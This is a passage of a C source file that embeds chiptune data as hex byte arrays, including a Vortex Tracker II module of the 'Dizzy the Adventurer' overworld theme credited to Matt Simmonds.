0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0x00,
0xd2, 0x42, 0xb1, 0x02, 0x84, 0x84, 0xb1, 0x01, 0x84, 0x82, 0x80, 0xb1, 0x02, 0x82, 0x84, 0x80,
0xb1, 0x01, 0x80, 0xb1, 0x02, 0x7f, 0xb1, 0x01, 0x80, 0x7f, 0x7d, 0x7f, 0x80, 0xb1, 0x02, 0x82,
0x84, 0x82, 0x80, 0xb1, 0x01, 0x80, 0x82, 0x80, 0xb1, 0x03, 0x84, 0xb1, 0x05, 0x82, 0xb1, 0x02,
0x84, 0xb1, 0x01, 0x85, 0xb1, 0x05, 0x82, 0xb1, 0x03, 0x84, 0xb1, 0x05, 0x82, 0xb1, 0x02, 0x84,
0xb1, 0x01, 0x82, 0xb1, 0x02, 0x80, 0xb1, 0x03, 0x7f, 0x00, 0xd6, 0x46, 0xb1, 0x02, 0x7b, 0x79,
0x78, 0xb1, 0x01, 0x79, 0xb1, 0x09, 0x7b, 0xb1, 0x01, 0x7d, 0x7b, 0x7d, 0x7b, 0x7d, 0xb1, 0x02,
0x7b, 0x7d, 0x7b, 0x78, 0x76, 0xb1, 0x01, 0x74, 0xb1, 0x02, 0x78, 0x78, 0x79, 0xb1, 0x01, 0x78,
0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x80, 0x7f, 0x80, 0x7f, 0x7b, 0xb1, 0x02, 0x76, 0x7f, 0x7f, 0x80,
0xb1, 0x01, 0x7f, 0xb1, 0x02, 0x82, 0xb1, 0x01, 0x80, 0x7f, 0x80, 0x7f, 0x7d, 0x7b, 0x79, 0x00,
0xd1, 0x41, 0xb1, 0x01, 0x87, 0x85, 0x84, 0x87, 0x85, 0x84, 0x87, 0x85, 0x87, 0x85, 0x84, 0x87,
0x85, 0x84, 0x87, 0x85, 0xb1, 0x02, 0x8c, 0x8c, 0xb1, 0x01, 0x8c, 0xb1, 0x02, 0x8c, 0x8b, 0x89,
0x89, 0xb1, 0x01, 0x89, 0xb1, 0x02, 0x87, 0xb1, 0x01, 0x85, 0x84, 0x80, 0x85, 0x84, 0x80, 0x85,
0x84, 0x85, 0x84, 0x80, 0x85, 0x84, 0x80, 0x85, 0x84, 0xb1, 0x02, 0x87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x02, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5,
0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1,
0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0xb1, 0x01, 0x6d, 0xd4, 0x44, 0xb1, 0x03,
0x72, 0x00, 0x47, 0xb1, 0x40, 0xd0, 0x00, 0xd8, 0x48, 0xb1, 0x02, 0x5c, 0x5c, 0xb1, 0x01, 0x5c,
0xb1, 0x02, 0x5c, 0x5c, 0x5c, 0xb1, 0x01, 0x5c, 0xb1, 0x02, 0x5c, 0x5b, 0x59, 0x59, 0xb1, 0x01,
0x59, 0xb1, 0x02, 0x59, 0x59, 0x59, 0xb1, 0x01, 0x59, 0xb1, 0x02, 0x59, 0x63, 0x61, 0x61, 0xb1,
0x01, 0x61, 0xb1, 0x02, 0x61, 0x61, 0x61, 0xb1, 0x01, 0x61, 0x61, 0x61, 0x60, 0x61, 0xb1, 0x02,
0x63, 0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x63, 0x63, 0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x61,
0x5e, 0x00, 0xd5, 0x45, 0xb1, 0x02, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1,
0x01, 0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d, 0xd4,
0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72,
0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0xb1, 0x01, 0x6d, 0xd4,
0x44, 0xb1, 0x03, 0x72, 0xd5, 0x45, 0xb1, 0x02, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4,
0x44, 0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45,
0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1,
0x01, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0xb1, 0x02, 0x6d, 0xd4, 0x44, 0xb1,
0x01, 0x72, 0xd5, 0x45, 0xb1, 0x02, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5, 0x45, 0x6d, 0x00,
0xd8, 0x48, 0xb1, 0x01, 0x90, 0x90, 0xb1, 0x06, 0x8c, 0xb1, 0x01, 0x90, 0x8c, 0x8e, 0xb1, 0x02,
0x8c, 0xb1, 0x01, 0x8c, 0xb1, 0x02, 0x8b, 0xb1, 0x01, 0x89, 0x8b, 0x8c, 0xb1, 0x05, 0x89, 0xb1,
0x01, 0x87, 0x89, 0x87, 0xb1, 0x05, 0x84, 0xb1, 0x01, 0x91, 0x91, 0xb1, 0x02, 0x91, 0x91, 0xb1,
0x01, 0x90, 0xb1, 0x02, 0x8e, 0x8c, 0xb1, 0x05, 0x89, 0xb1, 0x01, 0x90, 0x8e, 0x90, 0x8e, 0x90,
0xb1, 0x02, 0x8e, 0x91, 0x90, 0x8e, 0x8c, 0xb1, 0x01, 0x87, 0x00, 0xd8, 0x48, 0xb1, 0x01, 0x91,
0x91, 0x91, 0x90, 0x90, 0x90, 0x90, 0x90, 0x8e, 0x8e, 0x8e, 0x90, 0x90, 0x90, 0x90, 0x90, 0x91,
0x91, 0x91, 0x90, 0x90, 0x90, 0x90, 0x90, 0x8c, 0x8c, 0x8c, 0x8e, 0x8e, 0x8e, 0x8e, 0x8e, 0x91,
0x91, 0x91, 0xb1, 0x05, 0x90, 0xb1, 0x01, 0x8e, 0x8e, 0x8e, 0xb1, 0x05, 0x90, 0xb1, 0x01, 0x91,
0x91, 0x91, 0xb1, 0x02, 0x90, 0xb1, 0x01, 0x90, 0xb1, 0x02, 0x8e, 0xb1, 0x01, 0x8c, 0x8c, 0x8c,
0xb1, 0x02, 0x8b, 0xb1, 0x01, 0x8b, 0xb1, 0x02, 0x89, 0x00, 0x07, 0x08, 0x01, 0x8f, 0x00, 0x00,
0x01, 0x8f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8d, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x08, 0x09, 0x01, 0x8d,
0x00, 0x00, 0x01, 0x8e, 0x01, 0x00, 0x01, 0x8f, 0xff, 0xff, 0x01, 0x8e, 0x02, 0x00, 0x01, 0x8d,
0xfe, 0xff, 0x01, 0x8c, 0x03, 0x00, 0x01, 0x8b, 0xfd, 0xff, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x88,
0x00, 0x00, 0x0a, 0x0b, 0x01, 0x8f, 0x00, 0x00, 0x09, 0x1f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00,
0x09, 0x1d, 0x00, 0x00, 0x01, 0x8d, 0x00, 0x00, 0x09, 0x1d, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8b, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x06, 0x07, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8d,
0x00, 0x00, 0x01, 0x8b, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x06, 0x07,
0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00,
0x01, 0x8d, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x0a, 0x0b, 0x01, 0x8d,
0x00, 0x00, 0x01, 0x8e, 0x01, 0x00, 0x01, 0x8f, 0x02, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f,
0x01, 0x00, 0x01, 0x8f, 0x02, 0x00, 0x01, 0x8d, 0x03, 0x00, 0x01, 0x8a, 0x02, 0x00, 0x01, 0x88,
0x01, 0x00, 0x01, 0x87, 0x00, 0x00, 0x01, 0x86, 0x00, 0x00, 0x00, 0x01, 0x00, 0x07, 0x08, 0x00,
0x0c, 0x00, 0x0c, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0a, 0x0b, 0x00, 0x00, 0xfb, 0x00,
0xf6, 0x00, 0xf1, 0xec, 0xe7, 0xe2, 0xdd, 0x06, 0x07, 0x00, 0xfb, 0xf6, 0xf1, 0xec, 0xe7, 0xe2,
0x06, 0x07, 0x00, 0x0c, 0x18, 0x00, 0x0c, 0x18, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00,
};
const uint8_t dizzy6[] MUSICMEM = {
0x56, 0x6f, 0x72, 0x74, 0x65, 0x78, 0x20, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x49,
0x49, 0x20, 0x31, 0x2e, 0x30, 0x20, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x3a, 0x20, 0x44, 0x69,
0x7a, 0x7a, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x41, 0x64, 0x76, 0x65, 0x6e, 0x74, 0x75, 0x72,
0x65, 0x72, 0x20, 0x4f, 0x76, 0x65, 0x72, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x20, 0x31, 0x20, 0x62,
0x79, 0x20, 0x31, 0x33, 0x27, 0x6e, 0x69, 0x78, 0x2e, 0x27, 0x6f, 0x72, 0x67, 0x3a, 0x20, 0x4d,
0x61, 0x74, 0x74, 0x20, 0x53, 0x69, 0x6d, 0x6d, 0x6f, 0x6e, 0x64, 0x73, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x02, 0x03, 0x12, 0x0a, 0xdc, 0x00, 0x00, 0x00, 0x8f, 0x0a, 0x9d, 0x0a, 0xd3,
0x0a, 0x19, 0x0b, 0x1f, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x0b, 0x00,
0x00, 0x6b, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0x0b, 0x00, 0x00, 0x88, 0x0b, 0x8c,
0x0b, 0x93, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x09, 0x0c, 0x0f, 0x12,
0x15, 0x18, 0x1b, 0x24, 0x33, 0x27, 0x1e, 0x21, 0x2a, 0x2d, 0x30, 0xff, 0x48, 0x01, 0x7f, 0x01,
0xeb, 0x01, 0x2d, 0x02, 0x64, 0x02, 0xf8, 0x02, 0x2d, 0x02, 0x51, 0x03, 0xd4, 0x03, 0x01, 0x04,
0x51, 0x03, 0x35, 0x04, 0x01, 0x04, 0x51, 0x03, 0x5b, 0x04, 0x85, 0x04, 0xc4, 0x04, 0x35, 0x04,
0x51, 0x05, 0x88, 0x05, 0x1c, 0x06, 0x4e, 0x06, 0x88, 0x05, 0x82, 0x06, 0x4e, 0x06, 0x88, 0x05,
0x1c, 0x06, 0xb5, 0x06, 0xf3, 0x06, 0x9b, 0x07, 0x85, 0x04, 0xc4, 0x04, 0x43, 0x08, 0x51, 0x05,
0x88, 0x05, 0x6f, 0x08, 0x2d, 0x02, 0x51, 0x03, 0xce, 0x07, 0x01, 0x04, 0x51, 0x03, 0x1c, 0x08,
0x98, 0x08, 0xcc, 0x08, 0x70, 0x09, 0x4e, 0x06, 0x88, 0x05, 0x6f, 0x08, 0x99, 0x09, 0xc1, 0x09,
0x66, 0x0a, 0x01, 0x04, 0x51, 0x03, 0xf8, 0x07, 0xf2, 0x04, 0xc7, 0xb1, 0x04, 0x78, 0xb1, 0x02,
0x78, 0xb1, 0x04, 0x84, 0xb1, 0x02, 0x84, 0xc8, 0xb1, 0x04, 0x77, 0xb1, 0x02, 0x77, 0xb1, 0x04,
0x83, 0xb1, 0x02, 0x83, 0xc9, 0xb1, 0x04, 0x75, 0xb1, 0x02, 0x75, 0xb1, 0x04, 0x81, 0xb1, 0x02,
0x81, 0xca, 0xb1, 0x04, 0x73, 0xb1, 0x02, 0x73, 0xb1, 0x04, 0x7f, 0xb1, 0x02, 0x7f, 0x00, 0x1a,
0x00, 0x53, 0x02, 0x40, 0xb1, 0x04, 0x60, 0xbb, 0x00, 0x53, 0xb1, 0x02, 0x60, 0xbb, 0x00, 0x2a,
0xb1, 0x04, 0x6c, 0xbb, 0x00, 0x2a, 0xb1, 0x02, 0x6c, 0xbb, 0x00, 0x58, 0xb1, 0x04, 0x5f, 0xbb,
0x00, 0x58, 0xb1, 0x02, 0x5f, 0xbb, 0x00, 0x2c, 0xb1, 0x04, 0x6b, 0xbb, 0x00, 0x2c, 0xb1, 0x02,
0x6b, 0xbb, 0x00, 0x63, 0xb1, 0x04, 0x69, 0xbb, 0x00, 0x63, 0xb1, 0x02, 0x69, 0xbb, 0x00, 0x31,
0xb1, 0x04, 0x5d, 0xbb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0x74,
0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x2a, 0x68, 0xbb, 0x00, 0x58, 0x23, 0xb1,
0x01, 0x68, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xbb, 0x00, 0x58, 0x68, 0xdc, 0xbb, 0x00, 0x2c,
0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x2c, 0x68, 0xbb,
0x00, 0x63, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x02, 0x68, 0xdc, 0xbb, 0x00, 0x31, 0x23,
0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x31, 0x68, 0xbb, 0x00,
0x6f, 0x23, 0xb1, 0x01, 0x68, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xdc, 0xbb, 0x00, 0x6f, 0x23,
0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x37, 0x23, 0x74, 0x25, 0xd0, 0x23, 0x74, 0x25, 0xd0,
0xbb, 0x00, 0x37, 0x23, 0x74, 0x25, 0xd0, 0x00, 0xf3, 0x06, 0xcf, 0xb1, 0x02, 0x60, 0xd2, 0x42,
0xc7, 0xb1, 0x04, 0x78, 0xd3, 0x43, 0xcb, 0xb1, 0x02, 0x60, 0xd2, 0x42, 0xc7, 0xb1, 0x04, 0x84,
0xd3, 0x43, 0xc9, 0xb1, 0x02, 0x60, 0xd2, 0x42, 0xc7, 0xb1, 0x04, 0x77, 0xd3, 0x43, 0xb1, 0x02,
0x60, 0xd2, 0x42, 0xb1, 0x04, 0x83, 0xb1, 0x02, 0x83, 0xb1, 0x04, 0x75, 0xd3, 0x43, 0xc9, 0xb1,
0x02, 0x5d, 0xd2, 0x42, 0xc7, 0xb1, 0x04, 0x81, 0xd3, 0x43, 0xcb, 0xb1, 0x02, 0x5b, 0xd2, 0x42,
0xc7, 0xb1, 0x04, 0x73, 0xd3, 0x43, 0xcf, 0xb1, 0x02, 0x5b, 0xd2, 0x42, 0xc7, 0xb1, 0x04, 0x7f,
0x00, 0x1a, 0x00, 0x53, 0x14, 0x40, 0xcf, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x53, 0xb1, 0x02, 0x68,
0xdc, 0xbb, 0x00, 0x2a, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb,
0x00, 0x2a, 0x68, 0xbb, 0x00, 0x58, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x58, 0xb1, 0x02, 0x68, 0xdc,
0xbb, 0x00, 0x2c, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00,
0x2c, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x02, 0x68, 0xdc, 0xbb,
0x00, 0x31, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x31,
0x68, 0xbb, 0x00, 0x6f, 0xb1, 0x04, 0x68, 0xdc, 0xbb, 0x00, 0x6f, 0x23, 0xb1, 0x01, 0x74, 0x25,
0xd0, 0xbb, 0x00, 0x37, 0x23, 0x74, 0x25, 0xd0, 0x23, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x37, 0x23,
0x74, 0x25, 0xd0, 0x00, 0xf3, 0x06, 0xcf, 0xb1, 0x02, 0x60, 0xd2, 0x42, 0xc9, 0x84, 0xce, 0x84,
0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0xb1, 0x08, 0x84, 0xca,
0xb1, 0x02, 0x84, 0xce, 0x86, 0x88, 0x86, 0x84, 0xca, 0x81, 0xb1, 0x04, 0x7f, 0xb1, 0x02, 0x7f,
0x00, 0xd2, 0x42, 0xcc, 0xb1, 0x04, 0x78, 0xb1, 0x02, 0x78, 0xb1, 0x04, 0x84, 0xb1, 0x02, 0x84,
0xb1, 0x04, 0x77, 0xb1, 0x02, 0x77, 0xb1, 0x04, 0x83, 0xb1, 0x02, 0x83, 0xb1, 0x04, 0x75, 0xb1,
0x02, 0x75, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x81, 0xb1, 0x04, 0x73, 0xb1, 0x02, 0x73, 0xb1, 0x04,
0x7f, 0xb1, 0x02, 0x7f, 0x00, 0xf2, 0x04, 0xce, 0xb1, 0x04, 0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04,
0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0xb1, 0x08, 0x84, 0xca, 0xb1, 0x02,
0x84, 0xce, 0x86, 0x88, 0x89, 0x88, 0x86, 0x88, 0x86, 0x84, 0x00, 0xf2, 0x04, 0xce, 0xb1, 0x04,
0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81,
0xb1, 0x08, 0x84, 0xca, 0xb1, 0x02, 0x84, 0xce, 0x86, 0x88, 0x86, 0x84, 0xca, 0x81, 0xb1, 0x04,
0x7f, 0xb1, 0x02, 0x7f, 0x00, 0xd2, 0x42, 0xcc, 0xb1, 0x04, 0x78, 0xb1, 0x02, 0x78, 0xb1, 0x04,
0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04, 0x77, 0xb1, 0x02, 0x77, 0xb1, 0x04, 0x83, 0xb1, 0x02, 0x83,
0xb1, 0x04, 0x75, 0xb1, 0x02, 0x75, 0xcb, 0x81, 0xca, 0xd0, 0xc9, 0x81, 0xc8, 0x73, 0xc7, 0xd0,
0xd4, 0xc8, 0xb1, 0x01, 0x68, 0xc9, 0xd0, 0xca, 0xd0, 0xcb, 0xd0, 0xcc, 0xd0, 0xcd, 0xd0, 0xce,
0xd0, 0xcf, 0xd0, 0x00, 0x1a, 0x00, 0x53, 0x14, 0x40, 0xcf, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x53,
0xb1, 0x02, 0x68, 0xdc, 0xbb, 0x00, 0x2a, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02,
0xd0, 0xda, 0xbb, 0x00, 0x2a, 0x68, 0xbb, 0x00, 0x58, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x58, 0xb1,
0x02, 0x68, 0xdc, 0xbb, 0x00, 0x2c, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0,
0xda, 0xbb, 0x00, 0x2c, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x04, 0x68, 0xbb, 0x00, 0x63, 0xb1, 0x02,
0x68, 0xdc, 0xbb, 0x00, 0x31, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0x20, 0xb1, 0x02, 0xd0, 0xda,
0xbb, 0x00, 0x31, 0x68, 0xdc, 0xbb, 0x00, 0x6f, 0x25, 0xb1, 0x01, 0x74, 0x27, 0xd0, 0xda, 0x20,
0xb1, 0x02, 0x68, 0xbb, 0x00, 0x6f, 0x21, 0xb1, 0x01, 0x68, 0x22, 0xd0, 0xdc, 0xbb, 0x00, 0x37,
0x23, 0x74, 0x24, 0xd0, 0xda, 0x25, 0x68, 0x26, 0xd0, 0xbb, 0x00, 0x37, 0x27, 0x68, 0x28, 0xd0,
0x00, 0xf3, 0x06, 0xcf, 0xb1, 0x02, 0x65, 0xcb, 0x65, 0xd2, 0x42, 0xcc, 0x7d, 0xb1, 0x04, 0x89,
0xb1, 0x02, 0x89, 0xb1, 0x04, 0x7d, 0xb1, 0x02, 0x7d, 0xb1, 0x04, 0x89, 0xb1, 0x02, 0x89, 0xb1,
0x04, 0x7f, 0xb1, 0x02,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86, 0xca, 0xb1, 0x04, 0x86, 0xcf, 0xb1, 0x02, 0x8d, 0x8b, 0x88, 0x86, 0xca,
0xb1, 0x04, 0x86, 0xcf, 0xb1, 0x02, 0x81, 0xca, 0x81, 0xcf, 0x83, 0xcd, 0x86, 0xcf, 0x84, 0xca,
0x84, 0xcf, 0x86, 0xca, 0x86, 0xcf, 0x84, 0xcd, 0x86, 0xcf, 0x83, 0xca, 0x83, 0x00, 0xf3, 0x06,
0xcf, 0xb1, 0x02, 0x60, 0xd2, 0x42, 0xc9, 0x84, 0xce, 0x84, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c,
0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0xb1, 0x08, 0x7c, 0xb1, 0x02, 0x84, 0x86, 0x88, 0x89, 0x88,
0x86, 0xb1, 0x04, 0x7f, 0xb1, 0x02, 0x7f, 0x00, 0xf2, 0x04, 0xce, 0xb1, 0x04, 0x84, 0xb1, 0x02,
0x84, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0xb1, 0x08, 0x84,
0xb1, 0x02, 0x84, 0x86, 0x88, 0x89, 0x88, 0x86, 0x88, 0x86, 0x84, 0x00, 0xf2, 0x04, 0xce, 0xb1,
0x04, 0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04, 0x81, 0xb1, 0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06,
0x81, 0xb1, 0x08, 0x7c, 0xb1, 0x02, 0x84, 0x86, 0x88, 0x89, 0x88, 0x86, 0xb1, 0x04, 0x7f, 0xb1,
0x02, 0x7f, 0x00, 0xf2, 0x04, 0xce, 0xb1, 0x04, 0x84, 0xb1, 0x02, 0x84, 0xb1, 0x04, 0x81, 0xb1,
0x02, 0x7c, 0xb1, 0x04, 0x7f, 0xb1, 0x06, 0x81, 0x84, 0xb1, 0x02, 0x88, 0xca, 0x7c, 0xce, 0x86,
0xca, 0x7a, 0xce, 0x84, 0xca, 0x78, 0xce, 0x83, 0xca, 0x77, 0xce, 0x81, 0xca, 0x77, 0x00, 0xf4,
0x06, 0xcf, 0xb1, 0x02, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca,
0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0xd5, 0x42, 0xce, 0x83, 0x84, 0x86, 0x84, 0x83,
0x7f, 0x83, 0x84, 0x86, 0x84, 0x83, 0x7f, 0x00, 0xf2, 0x04, 0xcc, 0xb1, 0x04, 0x7d, 0xb1, 0x02,
0x7d, 0xb1, 0x04, 0x89, 0xb1, 0x02, 0x89, 0xb1, 0x04, 0x7d, 0xb1, 0x02, 0x7d, 0xb1, 0x04, 0x89,
0xb1, 0x02, 0x89, 0xb1, 0x04, 0x7a, 0xb1, 0x02, 0x7a, 0xb1, 0x04, 0x86, 0xb1, 0x02, 0x86, 0xb1,
0x04, 0x7a, 0xb1, 0x02, 0x7a, 0xb1, 0x04, 0x86, 0xb1, 0x02, 0x86, 0x00, 0x1c, 0x00, 0x3e, 0x14,
0x40, 0xcf, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x3e, 0xd0, 0xbb, 0x00, 0x3e, 0x68, 0xdc, 0xbd,
0x00, 0x3e, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x1f, 0x26, 0xb1, 0x02, 0xd0, 0xda,
0xbb, 0x00, 0x1f, 0x68, 0xbd, 0x00, 0x3e, 0x68, 0xbb, 0x00, 0x3e, 0xd0, 0xbb, 0x00, 0x3e, 0x68,
0xdc, 0xbd, 0x00, 0x3e, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x1f, 0x26, 0xb1, 0x02,
0xd0, 0xda, 0xbb, 0x00, 0x1f, 0x68, 0xbd, 0x00, 0x4a, 0x23, 0xb1, 0x01, 0x68, 0x25, 0xd0, 0xbb,
0x00, 0x4a, 0x26, 0xb1, 0x02, 0xd0, 0xbb, 0x00, 0x4a, 0x68, 0xdc, 0xbd, 0x00, 0x4a, 0x23, 0xb1,
0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x94, 0x26, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x94, 0x68,
0xbd, 0x00, 0x4a, 0x23, 0xb1, 0x01, 0x68, 0x25, 0xd0, 0xbb, 0x00, 0x4a, 0x26, 0xb1, 0x02, 0xd0,
0xdc, 0xbb, 0x00, 0x4a, 0x21, 0xb1, 0x01, 0x74, 0x22, 0xd0, 0xbd, 0x00, 0x4a, 0x23, 0x74, 0x24,
0xd0, 0xbb, 0x00, 0x94, 0x25, 0x74, 0x26, 0xd0, 0xbb, 0x00, 0x94, 0x27, 0x74, 0x28, 0xd0, 0x00,
0xf4, 0x06, 0xcf, 0xb1, 0x02, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0x8d,
0xca, 0x8d, 0xcf, 0x89, 0x8d, 0xca, 0x8d, 0xcf, 0x89, 0xd5, 0x42, 0xce, 0x86, 0x88, 0x89, 0x88,
0x86, 0x84, 0x86, 0x88, 0x89, 0x88, 0x86, 0x84, 0x00, 0xf2, 0x04, 0xcc, 0xb1, 0x04, 0x7d, 0xb1,
0x02, 0x7d, 0xb1, 0x04, 0x89, 0xb1, 0x02, 0x89, 0xb1, 0x04, 0x7d, 0xb1, 0x02, 0x7d, 0xb1, 0x04,
0x89, 0xb1, 0x02, 0x89, 0x7a, 0x78, 0x77, 0x76, 0x75, 0x74, 0x73, 0x72, 0x71, 0x70, 0x6f, 0x6e,
0x00, 0x1c, 0x00, 0x3e, 0x14, 0x40, 0xcf, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x3e, 0xd0, 0xbb,
0x00, 0x3e, 0x68, 0xdc, 0xbd, 0x00, 0x3e, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb, 0x00, 0x1f,
0x26, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x1f, 0x68, 0xbd, 0x00, 0x3e, 0x68, 0xbb, 0x00, 0x3e,
0xd0, 0xbb, 0x00, 0x3e, 0x68, 0xdc, 0xbd, 0x00, 0x3e, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xbb,
0x00, 0x1f, 0x26, 0xb1, 0x02, 0xd0, 0xda, 0xbb, 0x00, 0x1f, 0x68, 0xdc, 0xbb, 0x00, 0x25, 0x23,
0xb1, 0x01, 0x74, 0x25, 0xd0, 0xda, 0xbb, 0x00, 0x2a, 0x26, 0xb1, 0x02, 0x68, 0xbb, 0x00, 0x2c,
0x68, 0xdc, 0xbb, 0x00, 0x2f, 0x23, 0xb1, 0x01, 0x74, 0x25, 0xd0, 0xda, 0xbb, 0x00, 0x31, 0x26,
